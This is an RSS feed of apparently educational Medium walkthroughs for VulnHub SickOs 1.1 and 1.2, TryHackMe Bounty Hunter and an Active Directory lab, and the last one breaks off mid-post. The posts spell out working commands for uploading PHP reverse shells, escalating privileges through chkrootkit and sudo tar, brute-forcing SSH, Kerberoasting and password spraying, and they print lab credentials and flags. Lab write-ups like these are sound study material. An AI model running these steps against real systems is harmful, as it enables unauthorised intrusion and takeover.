<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ZeroDay-Security-Services on Medium]]></title>
        <description><![CDATA[Stories by ZeroDay-Security-Services on Medium]]></description>
        <link>https://medium.com/@zeroday-security-services?source=rss-a4de8b01216c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*aJF8IrzhSq75K1tcUzYnjQ.png</url>
            <title>Stories by ZeroDay-Security-Services on Medium</title>
            <link>https://medium.com/@zeroday-security-services?source=rss-a4de8b01216c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 13:23:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zeroday-security-services/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SickOs 1.2 VulnHub Writeup]]></title>
            <link>https://zeroday-security-services.medium.com/sickos-1-2-vulnhub-writeup-6089957f8069?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/6089957f8069</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[zeroday-security-services]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Tue, 26 May 2026 11:58:01 GMT</pubDate>
            <atom:updated>2026-05-26T11:58:01.045Z</atom:updated>
            <content:encoded><![CDATA[<h3>Machine: SickOs 1.2</h3><h3>Platform: VulnHub</h3><h3>Difficulty: Intermediate</h3><p>This writeup documents the exploitation path for the <strong>SickOs 1.2</strong> VulnHub machine. The target exposed SSH and an HTTP service running lighttpd. Web enumeration revealed a /test/ directory with WebDAV methods enabled, including PUT. This allowed a PHP reverse shell to be uploaded and executed, giving initial access as www-data. Privilege escalation was achieved by abusing a vulnerable chkrootkit cron-based execution path, which resulted in a root shell and access to the final completion file.</p><h3>Service Enumeration</h3><p>I started with an aggressive Nmap scan against the target.</p><pre>nmap -A &lt;IP&gt; -T5</pre><p>The scan showed two open ports:</p><pre>22/tcp open  ssh   OpenSSH 5.9p1 Debian 5ubuntu1.8<br>80/tcp open  http  lighttpd 1.4.28</pre><p>The web server was running lighttpd/1.4.28, and the SSH service was also available. Nmap also identified the operating system as Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcAzaa3xp6lfhB5eAmHJDg.png" /></figure><h3>Vulnerability Script Scan</h3><p>I ran an Nmap vulnerability script scan to gather more information about the exposed services.</p><pre>nmap --script vuln &lt;IP&gt;</pre><p>The scan did not identify common XSS or CSRF vulnerabilities, but it revealed a useful HTTP directory:</p><pre>/test/: Test page</pre><p>This indicated that the /test/ path existed and should be inspected further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kzGEySJRIm5QZrzENHzj_w.png" /></figure><h3>Directory Enumeration</h3><p>Next, I used Gobuster to enumerate directories on the web server.</p><pre>gobuster dir -u http://&lt;IP&gt; -w /usr/share/wordlists/dirb/common.txt</pre><p>Gobuster identified the following paths:</p><pre>/index.php    Status: 200<br>/test         Status: 301</pre><p>The /test directory was redirected to /test/, confirming it as a valid directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TsseHd_YVZFS9SkV1vOgow.png" /></figure><h3>Browsing the /test/ Directory</h3><p>I opened the discovered /test/ directory in the browser.</p><pre>http://&lt;IP&gt;/test/</pre><p>The page showed a directory listing with only a parent directory link.</p><pre>Index of /test/<br>Parent Directory/</pre><p>Although the directory did not contain visible files, directory listing being enabled made the path worth testing further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uhcQXTwlv4RGrOZfEGtWQA.png" /></figure><h3>Checking HTTP Methods</h3><p>To determine whether the /test/ directory allowed file uploads, I checked the supported HTTP methods using curl.</p><pre>curl -v -X OPTIONS http://&lt;IP&gt;/test/</pre><p>The response showed that WebDAV was enabled and that the PUT method was allowed.</p><pre>DAV: 1,2<br>MS-Author-Via: DAV<br>Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK<br>Allow: OPTIONS, GET, HEAD, POST</pre><p>The presence of PUT was critical because it meant files could be uploaded to the /test/ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iB5gT_QVY5RetcO7TDuDg.png" /></figure><h3>Preparing a PHP Reverse Shell</h3><p>Since the server supported PHP and allowed file upload through PUT, I prepared a PHP reverse shell.</p><pre>nano php-reverse-shell.php</pre><p>Inside the reverse shell, I configured the callback IP and port.</p><pre>$ip = &#39;&lt;IP&gt;&#39;;<br>$port = 4444;</pre><p>The IP address was set to the attacker machine, and the listener port was set to 4444.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*hiIrKxuvTVUGfcUJCTcshQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z01XOz_uxxBOWbLCR62dVA.png" /></figure><h3>Uploading the Reverse Shell with PUT</h3><p>After preparing the payload, I uploaded it to the /test/ directory using the HTTP PUT method.</p><pre>curl -X PUT --data-binary @php-reverse-shell.php http://&lt;IP&gt;/test/test.php</pre><p>The command uploaded the PHP reverse shell as test.php.</p><p><strong>Screenshot 8: Uploading the PHP reverse shell with curl PUT</strong></p><p>I repeated the upload command to confirm the file was placed correctly.</p><pre>curl -X PUT --data-binary @php-reverse-shell.php http://&lt;IP&gt;/test/test.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9SgQdALPu50ra-YdszCDXg.png" /></figure><h3>Starting the Netcat Listener</h3><p>Before triggering the uploaded PHP file, I started a Netcat listener.</p><pre>nc -lvp 443</pre><p>The listener waited for an incoming connection.</p><pre>listening on [any] 443 ...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*hv-LSOgAaHkZLUCuf-s__A.png" /></figure><h3>Triggering the Reverse Shell</h3><p>After uploading the shell, I triggered it by browsing to the uploaded file.</p><pre>http://&lt;IP&gt;/test/test.php</pre><p>The listener received a reverse shell connection from the target.</p><pre>connect to [&lt;IP&gt;] from (UNKNOWN) [&lt;IP&gt;]</pre><p>The shell opened as the web server user.</p><pre>whoami</pre><p>Output:</p><pre>www-data</pre><p>This confirmed initial access to the machine as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92Vmz_K0W0BcC9Ziat3BcA.png" /></figure><h3>Initial Shell Enumeration</h3><p>After gaining the shell, I listed the root filesystem.</p><pre>ls -al</pre><p>The output confirmed access to the filesystem as www-data, but not as root.</p><pre>drwx------   4 root root 4096 Apr 26 2016 root<br>drwxr-xr-x  12 root root 4096 Apr 26 2016 var<br>drwxr-xr-x  10 root root 4096 Mar 30 2016 usr</pre><p>At this stage, privilege escalation was required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HOLv2OoK9hrOi3Bb0pjWQg.png" /></figure><h3>Privilege Escalation Enumeration</h3><p>I began checking scheduled tasks and cron-related files.</p><pre>ls -al /etc/cron* /var/spool/generic</pre><p>The command returned useful information about cron jobs.</p><pre>-rw-r--r-- 1 root root 722 Jun 19 2012 /etc/crontab</pre><pre>/etc/cron.daily:<br>-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit</pre><p>The presence of chkrootkit in /etc/cron.daily was important because older versions of chkrootkit are known to be vulnerable when they execute files from /tmp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8khwTl6SbgE4LrL-Zn8NSg.png" /></figure><h3>Identifying chkrootkit Version</h3><p>I checked the installed chkrootkit version.</p><pre>chkrootkit -V</pre><p>The version was:</p><pre>chkrootkit version 0.49</pre><p>This version is vulnerable to a local privilege escalation issue involving the execution of /tmp/update when chkrootkit runs.</p><h3>Creating the Privilege Escalation Payload</h3><p>To exploit the vulnerable chkrootkit behavior, I created a file named /tmp/update.</p><pre>echo &#39;chmod +s /bin/bash&#39; &gt; /tmp/update<br>chmod +x /tmp/update</pre><p>The payload sets the SUID bit on /bin/bash. When chkrootkit executes /tmp/update as root through its scheduled cron job, /bin/bash becomes executable with root privileges.</p><p>I then checked the /tmp directory and confirmed that the payload file existed.</p><pre>ls -al</pre><p>The file was present and executable.</p><pre>-rwxrwxrwx 1 www-data www-data 19 Dec 13 02:55 update</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T8_HzSmVA84XWnmh7U7Oow.png" /></figure><h3>Getting a Root Shell</h3><p>After waiting for the cron job to execute, /bin/bash had the SUID bit set. I used bash -p to preserve elevated privileges.</p><pre>bash -p</pre><p>I confirmed root access.</p><pre>whoami</pre><p>Output:</p><pre>root</pre><p>I then moved to the root directory.</p><pre>cd /root</pre><h3>Root Completion File</h3><p>Inside /root, I listed the files.</p><pre>ls -al</pre><p>A completion file was present:</p><pre>7d03aaa2bf93d80040f3f22ec6ad9d5a.txt</pre><p>I read the file.</p><pre>cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt</pre><p>The final message confirmed successful completion of the machine.</p><pre>WoW! If you are viewing this, you have &quot;Successfully!&quot; completed SickOs1.2, the challenge is more focused on elimination of tools in real scenarios where tools can be blocked during an assessment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.</pre><pre>Thanks for giving this try.</pre><pre>@vulnhub: Thanks for hosting this UP!.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hspN-kHZvRrRuYLt2CC6TA.png" /></figure><h3>Summary</h3><p>The <strong>SickOs 1.2</strong> machine required careful web enumeration and manual testing. The Nmap scan identified SSH and a lighttpd web server. Directory enumeration revealed /test/, and an HTTP OPTIONS request showed that WebDAV was enabled with the PUT method allowed. This allowed a PHP reverse shell to be uploaded and executed, providing initial access as www-data.</p><p>Privilege escalation was achieved by identifying chkrootkit running from /etc/cron.daily. The installed version, 0.49, was vulnerable to execution of /tmp/update. By placing a malicious /tmp/update file that set the SUID bit on /bin/bash, a root shell was obtained using bash -p.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6089957f8069" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SickOs 1.1 VulnHub Writeup]]></title>
            <link>https://zeroday-security-services.medium.com/sickos-1-1-vulnhub-writeup-e20849555067?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/e20849555067</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Sat, 02 May 2026 09:46:29 GMT</pubDate>
            <atom:updated>2026-05-02T09:46:29.807Z</atom:updated>
            <content:encoded><![CDATA[<h3>Machine: SickOs 1.1</h3><h3>Platform: VulnHub</h3><p>This writeup documents the exploitation path for the <strong>SickOs 1.1</strong> VulnHub machine. The target was discovered on the local network, and enumeration revealed SSH and a Squid HTTP proxy. After configuring the browser to use the proxy, the web application became accessible. Further enumeration exposed a Wolf CMS installation, which allowed administrative access and file upload functionality. A PHP reverse shell was uploaded to gain an initial shell as www-data. From there, credentials were recovered from the CMS configuration file and reused to gain SSH access as the user sickos. Privilege escalation was completed using sudo su, resulting in root access.</p><h3>Host Discovery</h3><p>I started by identifying live hosts on the local network using arp-scan.</p><pre>arp-scan -l</pre><p>The scan identified the target machine on the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mYR86FlhvMjp3DfPFeI81A.png" /></figure><h3>Service Enumeration</h3><p>After identifying the target, I ran an Nmap service and version scan.</p><pre>nmap -sC -sV &lt;IP&gt;</pre><p>The scan revealed two important open ports:</p><pre>22/tcp    open    ssh          OpenSSH 5.9p1 Debian 5ubuntu1.1<br>3128/tcp  open    http-proxy   Squid http proxy 3.1.19</pre><p>Nmap also indicated that the proxy might be open.</p><pre>http-open-proxy: Potentially OPEN proxy.</pre><p>This was an important finding because port 3128 was running Squid, which could be used to access internal web services through the proxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nKMFXQV6EVSEmwVfPnLNSA.png" /></figure><h3>Configuring the Browser Proxy</h3><p>Since Squid was listening on port 3128, I configured the browser to use the target as an HTTP proxy.</p><p>The browser proxy settings were configured as follows:</p><pre>HTTP Proxy: &lt;IP&gt;<br>Port: 3128</pre><p>After applying the proxy settings, web traffic was routed through the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*OVvKtob5o2ftBzaZ3ioehg.png" /></figure><h3>Web Enumeration</h3><p>With the proxy configured, I browsed to the target in Firefox.</p><pre>http://&lt;IP&gt;</pre><p>The page returned a simple message:</p><pre>BLEHHH!!!</pre><p>This confirmed that the web service was reachable through the proxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oND_7oqV08Ni9jdHmIW54A.png" /></figure><h3>robots.txt Enumeration</h3><p>Next, I checked the robots.txt file.</p><pre>http://&lt;IP&gt;/robots.txt</pre><p>The file revealed a hidden directory:</p><pre>User-agent: *<br>Disallow: /<br>Disallow: /wolfcms</pre><p>The /wolfcms path was especially interesting because it indicated the presence of a Wolf CMS installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGbRWisjivPlAi5aJaKC-w.png" /></figure><h3>Discovering Wolf CMS</h3><p>I browsed to the discovered directory.</p><pre>http://&lt;IP&gt;/wolfcms/</pre><p>The page loaded successfully and showed a Wolf CMS site.</p><p>The homepage displayed a simple blog layout with articles posted by the Administrator. This confirmed that Wolf CMS was installed and accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SUvsNLsXMlGxOXZwmjUGEQ.png" /></figure><h3>Accessing the Wolf CMS Admin Login</h3><p>The next step was to locate the administrative login page. Wolf CMS commonly uses an admin login path under /admin/login.</p><pre>http://&lt;IP&gt;/wolfcms/?/admin/login</pre><p>The login page was accessible. I attempted to authenticate as the administrator.</p><pre>Username: admin<br>Password: admin</pre><p>The credentials worked, and I gained access to the Wolf CMS administrative panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3YeFCIhVUfuR1rNSK3hXg.png" /></figure><h3>Preparing a PHP Reverse Shell</h3><p>To obtain a shell on the target, I downloaded the PentestMonkey PHP reverse shell.</p><p>The reverse shell file was opened and modified to point back to the attacking machine.</p><pre>$ip = &#39;&lt;IP&gt;&#39;;<br>$port = 4444;</pre><p>The IP address was set to the attacker machine, and the port was set to 4444.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y56jcJBBTaVfZkCEMQwOsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*v_krSCdwkbxAGibN9k2J8A.png" /></figure><h3>Uploading the Reverse Shell</h3><p>After logging in to the Wolf CMS admin panel, I navigated to the file manager.</p><pre>Wolf CMS Admin Panel -&gt; Files</pre><p>The file manager provided an upload option. I used it to upload the modified PHP reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FHkOvUOOXgXNl2MVK6fJtw.png" /></figure><p>The uploaded file appeared in the file selection window as:</p><pre>php-reverse-shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nbT8JGfZt7N1vhsj2cPAVg.png" /></figure><h3>Starting a Netcat Listener</h3><p>Before triggering the uploaded shell, I started a Netcat listener on port 4444.</p><pre>nc -lvp 4444</pre><p>The listener started successfully and waited for an incoming connection.</p><pre>listening on [any] 4444 ...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*-0dQeNVxfX1r7hvwHobvxQ.png" /></figure><h3>Triggering the Reverse Shell</h3><p>The uploaded PHP reverse shell was accessible from the public directory.</p><pre>http://&lt;IP&gt;/wolfcms/public/php-reverse-shell.php</pre><p>Browsing to the file triggered the reverse shell payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UIFkMjua8o4x8e68II6Cag.png" /></figure><p>The Netcat listener received a connection from the target.</p><pre>connect to [&lt;IP&gt;] from (UNKNOWN) [&lt;IP&gt;]</pre><p>After the connection was received, I confirmed the current user.</p><pre>whoami</pre><p>The shell was running as:</p><pre>www-data</pre><p>This confirmed initial access to the machine as the web server user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hbgePH1n-CJypQxiAbRiRw.png" /></figure><h3>Post-Exploitation Enumeration</h3><p>After gaining a shell, I began enumerating the filesystem.</p><p>I moved into /var and then into the web directory.</p><pre>cd /var<br>ls<br>cd www<br>ls</pre><p>Inside /var/www, several files and directories were present.</p><pre>connect.py<br>index.php<br>robots.txt<br>wolfcms</pre><p>The wolfcms directory was the most interesting because it contained the CMS application files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FHBeQDpj6PHedBV-_lolzw.png" /></figure><h3>Extracting Database Credentials</h3><p>I entered the Wolf CMS directory and listed the files.</p><pre>cd wolfcms<br>ls</pre><p>The directory contained a config.php file.</p><pre>config.php</pre><p>I read the configuration file.</p><pre>cat config.php</pre><p>The file contained database credentials.</p><pre>define(&#39;DB_DSN&#39;, &#39;mysql:dbname=wolf;host=localhost;port=3306&#39;);<br>define(&#39;DB_USER&#39;, &#39;root&#39;);<br>define(&#39;DB_PASS&#39;, &#39;john@123&#39;);</pre><p>The password john@123 was a valuable finding and could potentially be reused for local users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*yHfXl2LnoherqIDY07nsZw.png" /></figure><h3>SSH Access as sickos</h3><p>Using the discovered password, I attempted to SSH into the machine as the user sickos.</p><pre>ssh sickos@&lt;IP&gt;</pre><p>When prompted for the password, I used:</p><pre>john@123</pre><p>The login was successful, and I gained an interactive shell as sickos.</p><pre>sickos@SickOs:~$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OYizGj43AO8jWwX0Pba-jA.png" /></figure><h3>Privilege Escalation</h3><p>After logging in as sickos, I checked the home directory and then tested privilege escalation.</p><pre>ls -al<br>cd /root</pre><p>Access to /root was denied.</p><pre>Permission denied</pre><p>I then attempted to switch to root using sudo.</p><pre>sudo su</pre><p>Using the same password, the command succeeded and provided a root shell.</p><pre>root@SickOs:/home/sickos#</pre><p>This indicated that the sickos user had sufficient sudo privileges to become root.</p><h3>Root Flag</h3><p>After becoming root, I moved into the /root directory and listed the files.</p><pre>cd /root<br>ls</pre><p>A text file was present.</p><pre>a0216ea4d51874464078c618298b1367.txt</pre><p>I read the file.</p><pre>cat a0216ea4d51874464078c618298b1367.txt</pre><p>The final message confirmed completion of the machine.</p><pre>If you are viewing this!!</pre><pre>ROOT!</pre><pre>You have Successfully completed SickOS1.1.<br>Thanks for Trying</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CRptpseVrbT0sf9G0INmgQ.png" /></figure><h3>Summary</h3><p>The <strong>SickOs 1.1</strong> machine followed a clear enumeration-driven attack path. The initial scan revealed a Squid proxy on port 3128, which was the key to accessing the web application. After configuring the browser to use the proxy, the robots.txt file exposed the /wolfcms directory. The Wolf CMS admin panel was accessible with default credentials, allowing a PHP reverse shell to be uploaded through the file manager.</p><p>Once a shell was obtained as www-data, the Wolf CMS configuration file exposed database credentials. The password was reused for the sickos user over SSH. Finally, the user had sudo privileges that allowed privilege escalation to root.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e20849555067" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Bounty Hunter Writeup]]></title>
            <link>https://zeroday-security-services.medium.com/tryhackme-bounty-hunter-writeup-455a3727a6cf?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/455a3727a6cf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Fri, 01 May 2026 15:46:42 GMT</pubDate>
            <atom:updated>2026-05-02T09:47:02.718Z</atom:updated>
            <content:encoded><![CDATA[<h3>Room: Bounty Hunter</h3><h3>Platform: TryHackMe</h3><p>This writeup documents the exploitation path for the TryHackMe room <strong>Bounty Hunter</strong>. The target machine exposed FTP, SSH, and HTTP services. Initial enumeration revealed anonymous FTP access, which provided a password list and a task note. Using the discovered information, SSH credentials were obtained through password spraying. After gaining a user shell, privilege escalation was achieved by abusing a misconfigured sudo permission on tar.</p><h3>Enumeration</h3><p>I started by running an Nmap service and version scan against the target.</p><pre>nmap -sC -sV &lt;IP&gt;</pre><p>The scan identified three open ports:</p><pre>21/tcp open  ftp     vsftpd 3.0.5<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu<br>80/tcp open  http    Apache httpd 2.4.41</pre><p>The FTP service was particularly interesting because Nmap reported that anonymous login was allowed.</p><pre>ftp-anon: Anonymous FTP login allowed</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4v7tcSnvxMQptutb4EgfyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qy8IXoRJz5Cg0cmCVOG-zg.png" /></figure><h3>Anonymous FTP Access</h3><p>Since anonymous FTP login was enabled, I connected to the FTP service using the username anonymous.</p><pre>ftp &lt;IP&gt;</pre><p>Authentication succeeded, and I listed the available files.</p><pre>ls</pre><p>Two files were present:</p><pre>locks.txt<br>task.txt</pre><p>I downloaded both files for further inspection.</p><pre>get locks.txt<br>get task.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TnwsNgGhph_SNrwYKj9bnw.png" /></figure><h3>Reviewing the FTP Files</h3><p>The locks.txt file contained a list of possible passwords.</p><pre>cat locks.txt</pre><p>The file appeared to be a password wordlist, containing several variations of strings related to “Red Dragon” and “Syndicate”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*pDhlPLxR0yLZkV6mG4NMbA.png" /></figure><p>The task.txt file contained a short task list.</p><pre>cat task.txt</pre><p>Its contents revealed a likely username:</p><pre>1.) Protect Vicious.<br>2.) Plan for Red Eye pickup on the moon.</pre><pre>-lin</pre><p>The signature -lin suggested that lin was a valid username on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*HvcGgTvf5pg8QhszPgNJRw.png" /></figure><h3>SSH Password Attack</h3><p>At this point, I had a likely username and a password list. I used Hydra to test the passwords against SSH.</p><pre>hydra -l lin -P locks.txt ssh://&lt;IP&gt;</pre><p>Hydra successfully found valid SSH credentials.</p><pre>login: lin<br>password: RedDr4gonSynd1cat3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bbp0RWz9whWxK0z2jn0cow.png" /></figure><h3>Initial Access</h3><p>Using the recovered credentials, I logged in over SSH.</p><pre>ssh lin@&lt;IP&gt;</pre><p>After entering the password, I obtained a shell as the user lin.</p><pre>lin@ip-&lt;IP&gt;:~/Desktop$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kAZg12Sv_Uwu0w-2-NoOXA.png" /></figure><h3>User Flag</h3><p>Inside the user’s Desktop directory, I found user.txt.</p><pre>ls<br>cat user.txt</pre><p>The user flag was:</p><pre>THM{CR1M3_SyNd1C4T3}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*bljN7gadSVv_-gfyTmYUMg.png" /></figure><h3>Privilege Escalation</h3><p>After obtaining the user flag, I checked for privilege escalation opportunities. The successful path involved abusing sudo permissions for tar.</p><p>The command used was:</p><pre>sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh</pre><p>This works because GNU tar supports checkpoint actions. If a user is allowed to run tar with elevated privileges, the --checkpoint-action=exec=/bin/sh option can be abused to spawn a root shell.</p><p>After running the command, I confirmed root access.</p><pre>whoami</pre><p>Output:</p><pre>root</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8n2-MMjjveTT_tiV-VJ5gg.png" /></figure><h3>Root Flag</h3><p>With root privileges, I moved to the /root directory and read the root flag.</p><pre>cd /root<br>ls<br>cat root.txt</pre><p>The root flag was:</p><pre>THM{80UN7Y_h4cK3r}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2mREmUGhKm_MWgsqm3OXw.png" /></figure><h3>Summary</h3><p>The attack path for the <strong>Bounty Hunter</strong> room was straightforward but required careful enumeration. Anonymous FTP access exposed useful files, including a password list and a hint toward the username. These were used to brute-force SSH credentials. Once authenticated as lin, privilege escalation was completed by abusing a misconfigured sudo permission on tar.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=455a3727a6cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Operation Endgame (CTF Walkthrough)]]></title>
            <link>https://zeroday-security-services.medium.com/operation-endgame-ctf-walkthrough-32b02724f15e?source=rss-a4de8b01216c------2</link>
            <guid isPermaLink="false">https://medium.com/p/32b02724f15e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[ZeroDay-Security-Services]]></dc:creator>
            <pubDate>Mon, 27 Apr 2026 15:09:56 GMT</pubDate>
            <atom:updated>2026-04-27T15:09:56.625Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*13dqeZXcyrpopeWwSxKcGA.png" /></figure><h3>1. Initial Reconnaissance</h3><p>The engagement started with a full TCP port scan against the target:</p><pre>nmap -A &lt;IP&gt; -T5</pre><h3>Key Findings</h3><ul><li>Host identified as <strong>Windows Active Directory Domain Controller</strong></li><li>Domain: thm.local</li><li>Hostname: AD</li></ul><h3>Important Open Ports</h3><p>PortServiceDescription53DNSDomain resolution80HTTPIIS 10.088KerberosAuthentication135RPCRemote Procedure Calls139/445SMBFile sharing389/636LDAPActive Directory3268Global CatalogAD enumeration3389RDPRemote Desktop</p><p>This clearly indicates a <strong>Domain Controller attack surface</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qYjS1bzI3l_DS4wMbtyqQ.png" /></figure><h3>2. Host Resolution Setup</h3><p>To simplify further enumeration:</p><pre>echo &quot;&lt;IP&gt; thm.local ad.thm.local&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*TWvjSiDiCqEbrnjUTPluZw.png" /></figure><h3>3. User Enumeration (RID Brute Force)</h3><p>Using anonymous SMB access:</p><pre>nxc smb &lt;IP&gt; -u &#39;guest&#39; -p &#39;&#39; --rid &gt; rid_brute.txt</pre><p>Extract usernames:</p><pre>cat rid_brute.txt | grep &quot;SidTypeUser&quot; | cut -d&#39;\&#39; -f2 | cut -d&#39; &#39; -f1 &gt; usernames.txt</pre><h3>Discovered Users</h3><ul><li>Administrator</li><li>Guest</li><li>krbtgt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWjqOtsGwA2uASWibrZ20w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8PRQGdQxkCUOqCgB32Apcg.png" /></figure><h3>4. AS-REP Roasting</h3><p>Attempt to extract hashes for users without pre-authentication:</p><pre>nxc ldap thm.local -u usernames.txt -p &#39;&#39; --asreproast asreproasting.txt</pre><h3>Result</h3><ul><li>Most accounts returned:</li></ul><pre>KDC_ERR_CLIENT_REVOKE</pre><ul><li>No usable hashes cracked from AS-REP</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEqQwkrkihlhUhpXLdYoEg.png" /></figure><h3>5. Kerberoasting</h3><p>Next, Kerberos service ticket extraction:</p><pre>nxc ldap thm.local -u &#39;guest&#39; -p &#39;&#39; --kerberoasting kerberoasting.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCmHX7Rg4ecpnQtdVfRChQ.png" /></figure><h3>Hash Cracking</h3><pre>hashcat -m 13100 kerberoasting.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AIX25Th2FingbwJwQ_UyHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dAILcWoQh3mZ39AFcxheXA.png" /></figure><h3>Result</h3><pre>CODY_ROY : MKO)mko0</pre><h3>6. Password Spraying</h3><p>Using discovered credentials:</p><pre>./kerbrute_linux_amd64 passwordspray -d &#39;thm.local&#39; --dc AD.thm.local usernames.txt &#39;MKO)mko0&#39;</pre><h3>Valid Credentials Found</h3><ul><li>CODY_ROY : MKO)mko0</li><li>ZACHARY_HUNT : MKO)mko0</li></ul><figure><img alt="" 